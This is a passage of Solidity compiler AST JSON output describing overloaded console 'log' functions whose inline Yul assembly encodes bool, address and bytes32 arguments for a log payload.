odeType":"YulFunctionCall","src":"168771:16:22"},"nativeSrc":"168771:16:22","nodeType":"YulExpressionStatement","src":"168771:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168807:4:22","nodeType":"YulLiteral","src":"168807:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"168813:2:22","nodeType":"YulIdentifier","src":"168813:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168800:6:22","nodeType":"YulIdentifier","src":"168800:6:22"},"nativeSrc":"168800:16:22","nodeType":"YulFunctionCall","src":"168800:16:22"},"nativeSrc":"168800:16:22","nodeType":"YulExpressionStatement","src":"168800:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168836:4:22","nodeType":"YulLiteral","src":"168836:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"168842:2:22","nodeType":"YulIdentifier","src":"168842:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168829:6:22","nodeType":"YulIdentifier","src":"168829:6:22"},"nativeSrc":"168829:16:22","nodeType":"YulFunctionCall","src":"168829:16:22"},"nativeSrc":"168829:16:22","nodeType":"YulExpressionStatement","src":"168829:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168865:4:22","nodeType":"YulLiteral","src":"168865:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"168871:2:22","nodeType":"YulIdentifier","src":"168871:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168858:6:22","nodeType":"YulIdentifier","src":"168858:6:22"},"nativeSrc":"168858:16:22","nodeType":"YulFunctionCall","src":"168858:16:22"},"nativeSrc":"168858:16:22","nodeType":"YulExpressionStatement","src":"168858:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168894:4:22","nodeType":"YulLiteral","src":"168894:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"168900:2:22","nodeType":"YulIdentifier","src":"168900:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168887:6:22","nodeType":"YulIdentifier","src":"168887:6:22"},"nativeSrc":"168887:16:22","nodeType":"YulFunctionCall","src":"168887:16:22"},"nativeSrc":"168887:16:22","nodeType":"YulExpressionStatement","src":"168887:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168923:4:22","nodeType":"YulLiteral","src":"168923:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"168929:2:22","nodeType":"YulIdentifier","src":"168929:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168916:6:22","nodeType":"YulIdentifier","src":"168916:6:22"},"nativeSrc":"168916:16:22","nodeType":"YulFunctionCall","src":"168916:16:22"},"nativeSrc":"168916:16:22","nodeType":"YulExpressionStatement","src":"168916:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39248,"isOffset":false,"isSlot":false,"src":"168755:2:22","valueSize":1},{"declaration":39251,"isOffset":false,"isSlot":false,"src":"168784:2:22","valueSize":1},{"declaration":39254,"isOffset":false,"isSlot":false,"src":"168813:2:22","valueSize":1},{"declaration":39257,"isOffset":false,"isSlot":false,"src":"168842:2:22","valueSize":1},{"declaration":39260,"isOffset":false,"isSlot":false,"src":"168871:2:22","valueSize":1},{"declaration":39263,"isOffset":false,"isSlot":false,"src":"168900:2:22","valueSize":1},{"declaration":39266,"isOffset":false,"isSlot":false,"src":"168929:2:22","valueSize":1}],"id":39274,"nodeType":"InlineAssembly","src":"168719:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"167623:3:22","parameters":{"id":39245,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39238,"mutability":"mutable","name":"p0","nameLocation":"167632:2:22","nodeType":"VariableDeclaration","scope":39276,"src":"167627:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39237,"name":"bool","nodeType":"ElementaryTypeName","src":"167627:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39240,"mutability":"mutable","name":"p1","nameLocation":"167644:2:22","nodeType":"VariableDeclaration","scope":39276,"src":"167636:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39239,"name":"address","nodeType":"ElementaryTypeName","src":"167636:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39242,"mutability":"mutable","name":"p2","nameLocation":"167656:2:22","nodeType":"VariableDeclaration","scope":39276,"src":"167648:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39241,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167648:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39244,"mutability":"mutable","name":"p3","nameLocation":"167668:2:22","nodeType":"VariableDeclaration","scope":39276,"src":"167660:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39243,"name":"address","nodeType":"ElementaryTypeName","src":"167660:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"167626:45:22"},"returnParameters":{"id":39246,"nodeType":"ParameterList","parameters":[],"src":"167686:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39316,"nodeType":"FunctionDefinition","src":"168954:1328:22","nodes":[],"body":{"id":39315,"nodeType":"Block","src":"169023:1259:22","nodes":[],"statements":[{"assignments":[39288],"declarations":[{"constant":false,"id":39288,"mutability":"mutable","name":"m0","nameLocation":"169041:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169033:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39287,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169033:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39289,"nodeType":"VariableDeclarationStatement","src":"169033:10:22"},{"assignments":[39291],"declarations":[{"constant":false,"id":39291,"mutability":"mutable","name":"m1","nameLocation":"169061:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169053:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39290,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169053:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39292,"nodeType":"VariableDeclarationStatement","src":"169053:10:22"},{"assignments":[39294],"declarations":[{"constant":false,"id":39294,"mutability":"mutable","name":"m2","nameLocation":"169081:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169073:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39293,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169073:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39295,"nodeType":"VariableDeclarationStatement","src":"169073:10:22"},{"assignments":[39297],"declarations":[{"constant":false,"id":39297,"mutability":"mutable","name":"m3","nameLocation":"169101:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169093:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39296,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169093:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39298,"nodeType":"VariableDeclarationStatement","src":"169093:10:22"},{"assignments":[39300],"declarations":[{"constant":false,"id":39300,"mutability":"mutable","name":"m4","nameLocation":"169121:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169113:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39299,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169113:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39301,"nodeType":"VariableDeclarationStatement","src":"169113:10:22"},{"assignments":[39303],"declarations":[{"constant":false,"id":39303,"mutability":"mutable","name":"m5","nameLocation":"169141:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169133:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39302,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169133:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39304,"nodeType":"VariableDeclarationStatement","src":"169133:10:22"},{"assignments":[39306],"declarations":[{"constant":false,"id":39306,"mutability":"mutable","name":"m6","nameLocation":"169161:2:22","nodeType":"VariableDeclaration","scope":39315,"src":"169153:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39305,"name":"bytes32","nodeType":"ElementaryTypeName","src":"169153:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39307,"nodeType":"VariableDeclarationStatement","src":"169153:10:22"},{"AST":{"nativeSrc":"169182:825:22","nodeType":"YulBlock","src":"169182:825:22","statements":[{"body":{"nativeSrc":"169225:313:22","nodeType":"YulBlock","src":"169225:313:22","statements":[{"nativeSrc":"169243:15:22","nodeType":"YulVariableDeclaration","src":"169243:15:22","value":{"kind":"number","nativeSrc":"169257:1:22","nodeType":"YulLiteral","src":"169257:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"169247:6:22","nodeType":"YulTypedName","src":"169247:6:22","type":""}]},{"body":{"nativeSrc":"169328:40:22","nodeType":"YulBlock","src":"169328:40:22","statements":[{"body":{"nativeSrc":"169357:9:22","nodeType":"YulBlock","src":"169357:9:22","statements":[{"nativeSrc":"169359:5:22","nodeType":"YulBreak","src":"169359:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"169345:6:22","nodeType":"YulIdentifier","src":"169345:6:22"},{"name":"w","nativeSrc":"169353:1:22","nodeType":"YulIdentifier","src":"169353:1:22"}],"functionName":{"name":"byte","nativeSrc":"169340:4:22","nodeType":"YulIdentifier","src":"169340:4:22"},"nativeSrc":"169340:15:22","nodeType":"YulFunctionCall","src":"169340:15:22"}],"functionName":{"name":"iszero","nativeSrc":"169333:6:22","nodeType":"YulIdentifier","src":"169333:6:22"},"nativeSrc":"169333:23:22","nodeType":"YulFunctionCall","src":"169333:23:22"},"nativeSrc":"169330:36:22","nodeType":"YulIf","src":"169330:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"169285:6:22","nodeType":"YulIdentifier","src":"169285:6:22"},{"kind":"number","nativeSrc":"169293:4:22","nodeType":"YulLiteral","src":"169293:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"169282:2:22","nodeType":"YulIdentifier","src":"169282:2:22"},"nativeSrc":"169282:16:22","nodeType":"YulFunctionCall","src":"169282:16:22"},"nativeSrc":"169275:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"169299:28:22","nodeType":"YulBlock","src":"169299:28:22","statements":[{"nativeSrc":"169301:24:22","nodeType":"YulAssignment","src":"169301:24:22","value":{"arguments":[{"name":"length","nativeSrc":"169315:6:22","nodeType":"YulIdentifier","src":"169315:6:22"},{"kind":"number","nativeSrc":"169323:1:22","nodeType":"YulLiteral","src":"169323:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"169311:3:22","nodeType":"YulIdentifier","src":"169311:3:22"},"nativeSrc":"169311:14:22","nodeType":"YulFunctionCall","src":"169311:14:22"},"variableNames":[{"name":"length","nativeSrc":"169301:6:22","nodeType":"YulIdentifier","src":"169301:6:22"}]}]},"pre":{"nativeSrc":"169279:2:22","nodeType":"YulBlock","src":"169279:2:22","statements":[]},"src":"169275:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"169392:3:22","nodeType":"YulIdentifier","src":"169392:3:22"},{"name":"length","nativeSrc":"169397:6:22","nodeType":"YulIdentifier","src":"169397:6:22"}],"functionName":{"name":"mstore","nativeSrc":"169385:6:22","nodeType":"YulIdentifier","src":"169385:6:22"},"nativeSrc":"169385:19:22","nodeType":"YulFunctionCall","src":"169385:19:22"},"nativeSrc":"169385:19:22","nodeType":"YulExpressionStatement","src":"169385:19:22"},{"nativeSrc":"169421:37:22","nodeType":"YulVariableDeclaration","src":"169421:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"169438:3:22","nodeType":"YulLiteral","src":"169438:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"169447:1:22","nodeType":"YulLiteral","src":"169447:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"169450:6:22","nodeType":"YulIdentifier","src":"169450:6:22"}],"functionName":{"name":"shl","nativeSrc":"169443:3:22","nodeType":"YulIdentifier","src":"169443:3:22"},"nativeSrc":"169443:14:22","nodeType":"YulFunctionCall","src":"169443:14:22"}],"functionName":{"name":"sub","nativeSrc":"169434:3:22","nodeType":"YulIdentifier","src":"169434:3:22"},"nativeSrc":"169434:24:22","nodeType":"YulFunctionCall","src":"169434:24:22"},"variables":[{"name":"shift","nativeSrc":"169425:5:22","nodeType":"YulTypedName","src":"169425:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"169486:3:22","nodeType":"YulIdentifier","src":"169486:3:22"},{"kind":"number","nativeSrc":"169491:4:22","nodeType":"YulLiteral","src":"169491:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"169482:3:22","nodeType":"YulIdentifier","src":"169482:3:22"},"nativeSrc":"169482:14:22","nodeType":"YulFunctionCall","src":"169482:14:22"},{"arguments":[{"name":"shift","nativeSrc":"169502:5:22","nodeType":"YulIdentifier","src":"169502:5:22"},{"arguments":[{"name":"shift","nativeSrc":"169513:5:22","nodeType":"YulIdentifier","src":"169513:5:22"},{"name":"w","nativeSrc":"169520:1:22","nodeType":"YulIdentifier","src":"169520:1:22"}],"functionName":{"name":"shr","nativeSrc":"169509:3:22","nodeType":"YulIdentifier","src":"169509:3:22"},"nativeSrc":"169509:13:22","nodeType":"YulFunctionCall","src":"169509:13:22"}],"functionName":{"name":"shl","nativeSrc":"169498:3:22","nodeType":"YulIdentifier","src":"169498:3:22"},"nativeSrc":"169498:25:22","nodeType":"YulFunctionCall","src":"169498:25:22"}],"functionName":{"name":"mstore","nativeSrc":"169475:6:22","nodeType":"YulIdentifier","src":"169475:6:22"},"nativeSrc":"169475:49:22","nodeType":"YulFunctionCall","src":"169475:49:22"},"nativeSrc":"169475:49:22","nodeType":"YulExpressionStatement","src":"169475:49:22"}]},"name":"writeString","nativeSrc":"169196:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"169217:3:22","nodeType":"YulTypedName","src":"169217:3:22","type":""},{"name":"w","nativeSrc":"169222:1:22","nodeType":"YulTypedName","src":"169222:1:22","type":""}],"src":"169196:342:22"},{"nativeSrc":"169551:17:22","nodeType":"YulAssignment","src":"169551:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169563:4:22","nodeType":"YulLiteral","src":"169563:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"169557:5:22","nodeType":"YulIdentifier","src":"169557:5:22"},"nativeSrc":"169557:11:22","nodeType":"YulFunctionCall","src":"169557:11:22"},"variableNames":[{"name":"m0","nativeSrc":"169551:2:22","nodeType":"YulIdentifier","src":"169551:2:22"}]},{"nativeSrc":"169581:17:22","nodeType":"YulAssignment","src":"169581:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169593:4:22","nodeType":"YulLiteral","src":"169593:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"169587:5:22","nodeType":"YulIdentifier","src":"169587:5:22"},"nativeSrc":"169587:11:22","nodeType":"YulFunctionCall","src":"169587:11:22"},"variableNames":[{"name":"m1","nativeSrc":"169581:2:22","nodeType":"YulIdentifier","src":"169581:2:22"}]},{"nativeSrc":"169611:17:22","nodeType":"YulAssignment","src":"169611:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169623:4:22","nodeType":"YulLiteral","src":"169623:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"169617:5:22","nodeType":"YulIdentifier","src":"169617:5:22"},"nativeSrc":"169617:11:22","nodeType":"YulFunctionCall","src":"169617:11:22"},"variableNames":[{"name":"m2","nativeSrc":"169611:2:22","nodeType":"YulIdentifier","src":"169611:2:22"}]},{"nativeSrc":"169641:17:22","nodeType":"YulAssignment","src":"169641:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169653:4:22","nodeType":"YulLiteral","src":"169653:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"169647:5:22","nodeType":"YulIdentifier","src":"169647:5:22"},"nativeSrc":"169647:11:22","nodeType":"YulFunctionCall","src":"169647:11:22"},"variableNames":[{"name":"m3","nativeSrc":"169641:2:22","nodeType":"YulIdentifier","src":"169641:2:22"}]},{"nativeSrc":"169671:17:22","nodeType":"YulAssignment","src":"169671:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169683:4:22","nodeType":"YulLiteral","src":"169683:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"169677:5:22","nodeType":"YulIdentifier","src":"169677:5:22"},"nativeSrc":"169677:11:22","nodeType":"YulFunctionCall","src":"169677:11:22"},"variableNames":[{"name":"m4","nativeSrc":"169671:2:22","nodeType":"YulIdentifier","src":"169671:2:22"}]},{"nativeSrc":"169701:17:22","nodeType":"YulAssignment","src":"169701:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169713:4:22","nodeType":"YulLiteral","src":"169713:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"169707:5:22","nodeType":"YulIdentifier","src":"169707:5:22"},"nativeSrc":"169707:11:22","nodeType":"YulFunctionCall","src":"169707:11:22"},"variableNames":[{"name":"m5","nativeSrc":"169701:2:22","nodeType":"YulIdentifier","src":"169701:2:22"}]},{"nativeSrc":"169731:17:22","nodeType":"YulAssignment","src":"169731:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"169743:4:22","nodeType":"YulLiteral","src":"169743:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"169737:5:22","nodeType":"YulIdentifier","src":"169737:5:22"},"nativeSrc":"169737:11:22","nodeType":"YulFunctionCall","src":"169737:11:22"},"variableNames":[{"name":"m6","nativeSrc":"169731:2:22","nodeType":"YulIdentifier","src":"169731:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"169828:4:22","nodeType":"YulLiteral","src":"169828:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"169834:10:22","nodeType":"YulLiteral","src":"169834:10:22","type":"","value":"0xe2bfd60b"}],"functionName":{"name":"mstore","nativeSrc":"169821:6:22","nodeType":"YulIdentifier","src":"169821:6:22"},"nativeSrc":"169821:24:22","nodeType":"YulFunctionCall","src":"169821:24:22"},"nativeSrc":"169821:24:22","nodeType":"YulExpressionStatement","src":"169821:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"169865:4:22","nodeType":"YulLiteral","src":"169865:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"169871:2:22","nodeType":"YulIdentifier","src":"169871:2:22"}],"functionName":{"name":"mstore","nativeSrc":"169858:6:22","nodeType":"YulIdentifier","src":"169858:6:22"},"nativeSrc":"169858:16:22","nodeType":"YulFunctionCall","src":"169858:16:22"},"nativeSrc":"169858:16:22","nodeType":"YulExpressionStatement","src":"169858:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"169894:4:22","nodeType":"YulLiteral","src":"169894:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"169900:2:22","nodeType":"YulIdentifier","src":"169900:2:22"}],"functionName":{"name":"mstore","nativeSrc":"169887:6:22","nodeType":"YulIdentifier","src":"169887:6:22"},"nativeSrc":"169887:16:22","nodeType":"YulFunctionCall","src":"169887:16:22"},"nativeSrc":"169887:16:22","nodeType":"YulExpressionStatement","src":"169887:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"169923:4:22","nodeType":"YulLiteral","src":"169923:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"169929:4:22","nodeType":"YulLiteral","src":"169929:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"169916:6:22","nodeType":"YulIdentifier","src":"169916:6:22"},"nativeSrc":"169916:18:22","nodeType":"YulFunctionCall","src":"169916:18:22"},"nativeSrc":"169916:18:22","nodeType":"YulExpressionStatement","src":"169916:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"169954:4:22","nodeType":"YulLiteral","src":"169954:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"169960:2:22","nodeType":"YulIdentifier","src":"169960:2:22"}],"functionName":{"name":"mstore","nativeSrc":"169947:6:22","nodeType":"YulIdentifier","src":"169947:6:22"},"nativeSrc":"169947:16:22","nodeType":"YulFunctionCall","src":"169947:16:22"},"nativeSrc":"169947:16:22","nodeType":"YulExpressionStatement","src":"169947:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"169988:4:22","nodeType":"YulLiteral","src":"169988:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"169994:2:22","nodeType":"YulIdentifier","src":"169994:2:22"}],"functionName":{"name":"writeString","nativeSrc":"169976:11:22","nodeType":"YulIdentifier","src":"169976:11:22"},"nativeSrc":"169976:21:22","nodeType":"YulFunctionCall","src":"169976:21:22"},"nativeSrc":"169976:21:22","nodeType":"YulExpressionStatement","src":"169976:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39288,"isOffset":false,"isSlot":false,"src":"169551:2:22","valueSize":1},{"declaration":39291,"isOffset":false,"isSlot":false,"src":"169581:2:22","valueSize":1},{"declaration":39294,"isOffset":false,"isSlot":false,"src":"169611:2:22","valueSize":1},{"declaration":39297,"isOffset":false,"isSlot":false,"src":"169641:2:22","valueSize":1},{"declaration":39300,"isOffset":false,"isSlot":false,"src":"169671:2:22","valueSize":1},{"declaration":39303,"isOffset":false,"isSlot":false,"src":"169701:2:22","valueSize":1},{"declaration":39306,"isOffset":false,"isSlot":false,"src":"169731:2:22","valueSize":1},{"declaration":39278,"isOffset":false,"isSlot":false,"src":"169871:2:22","valueSize":1},{"declaration":39280,"isOffset":false,"isSlot":false,"src":"169900:2:22","valueSize":1},{"declaration":39282,"isOffset":false,"isSlot":false,"src":"169994:2:22","valueSize":1},{"declaration":39284,"isOffset":false,"isSlot":false,"src":"169960:2:22","valueSize":1}],"id":39308,"nodeType":"InlineAssembly","src":"169173:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39310,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"170032:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39311,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"170038:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39309,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"170016:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39312,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"170016:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39313,"nodeType":"ExpressionStatement","src":"170016:27:22"},{"AST":{"nativeSrc":"170062:214:22","nodeType":"YulBlock","src":"170062:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"170083:4:22","nodeType":"YulLiteral","src":"170083:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"170089:2:22","nodeType":"YulIdentifier","src":"170089:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170076:6:22","nodeType":"YulIdentifier","src":"170076:6:22"},"nativeSrc":"170076:16:22","nodeType":"YulFunctionCall","src":"170076:16:22"},"nativeSrc":"170076:16:22","nodeType":"YulExpressionStatement","src":"170076:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"170112:4:22","nodeType":"YulLiteral","src":"170112:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"170118:2:22","nodeType":"YulIdentifier","src":"170118:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170105:6:22","nodeType":"YulIdentifier","src":"170105:6:22"},"nativeSrc":"170105:16:22","nodeType":"YulFunctionCall","src":"170105:16:22"},"nativeSrc":"170105:16:22","nodeType":"YulExpressionStatement","src":"170105:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"170141:4:22","nodeType":"YulLiteral","src":"170141:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"170147:2:22","nodeType":"YulIdentifier","src":"170147:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170134:6:22","nodeType":"YulIdentifier","src":"170134:6:22"},"nativeSrc":"170134:16:22","nodeType":"YulFunctionCall","src":"170134:16:22"},"nativeSrc":"170134:16:22","nodeType":"YulExpressionStatement","src":"170134:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"170170:4:22","nodeType":"YulLiteral","src":"170170:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"170176:2:22","nodeType":"YulIdentifier","src":"170176:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170163:6:22","nodeType":"YulIdentifier","src":"170163:6:22"},"nativeSrc":"170163:16:22","nodeType":"YulFunctionCall","src":"170163:16:22"},"nativeSrc":"170163:16:22","nodeType":"YulExpressionStatement","src":"170163:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"170199:4:22","nodeType":"YulLiteral","src":"170199:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"170205:2:22","nodeType":"YulIdentifier","src":"170205:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170192:6:22","nodeType":"YulIdentifier","src":"170192:6:22"},"nativeSrc":"170192:16:22","nodeType":"YulFunctionCall","src":"170192:16:22"},"nativeSrc":"170192:16:22","nodeType":"YulExpressionStatement","src":"170192:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"170228:4:22","nodeType":"YulLiteral","src":"170228:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"170234:2:22","nodeType":"YulIdentifier","src":"170234:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170221:6:22","nodeType":"YulIdentifier","src":"170221:6:22"},"nativeSrc":"170221:16:22","nodeType":"YulFunctionCall","src":"170221:16:22"},"nativeSrc":"170221:16:22","nodeType":"YulExpressionStatement","src":"170221:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"170257:4:22","nodeType":"YulLiteral","src":"170257:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"170263:2:22","nodeType":"YulIdentifier","src":"170263:2:22"}],"functionName":{"name":"mstore","nativeSrc":"170250:6:22","nodeType":"YulIdentifier","src":"170250:6:22"},"nativeSrc":"170250:16:22","nodeType":"YulFunctionCall","src":"170250:16:22"},"nativeSrc":"170250:16:22","nodeType":"YulExpressionStatement","src":"170250:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39288,"isOffset":false,"isSlot":false,"src":"170089:2:22","valueSize":1},{"declaration":39291,"isOffset":false,"isSlot":false,"src":"170118:2:22","valueSize":1},{"declaration":39294,"isOffset":false,"isSlot":false,"src":"170147:2:22","valueSize":1},{"declaration":39297,"isOffset":false,"isSlot":false,"src":"170176:2:22","valueSize":1},{"declaration":39300,"isOffset":false,"isSlot":false,"src":"170205:2:22","valueSize":1},{"declaration":39303,"isOffset":false,"isSlot":false,"src":"170234:2:22","valueSize":1},{"declaration":39306,"isOffset":false,"isSlot":false,"src":"170263:2:22","valueSize":1}],"id":39314,"nodeType":"InlineAssembly","src":"170053:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"168963:3:22","parameters":{"id":39285,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39278,"mutability":"mutable","name":"p0","nameLocation":"168972:2:22","nodeType":"VariableDeclaration","scope":39316,"src":"168967:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39277,"name":"bool","nodeType":"ElementaryTypeName","src":"168967:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39280,"mutability":"mutable","name":"p1","nameLocation":"168984:2:22","nodeType":"VariableDeclaration","scope":39316,"src":"168976:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39279,"name":"address","nodeType":"ElementaryType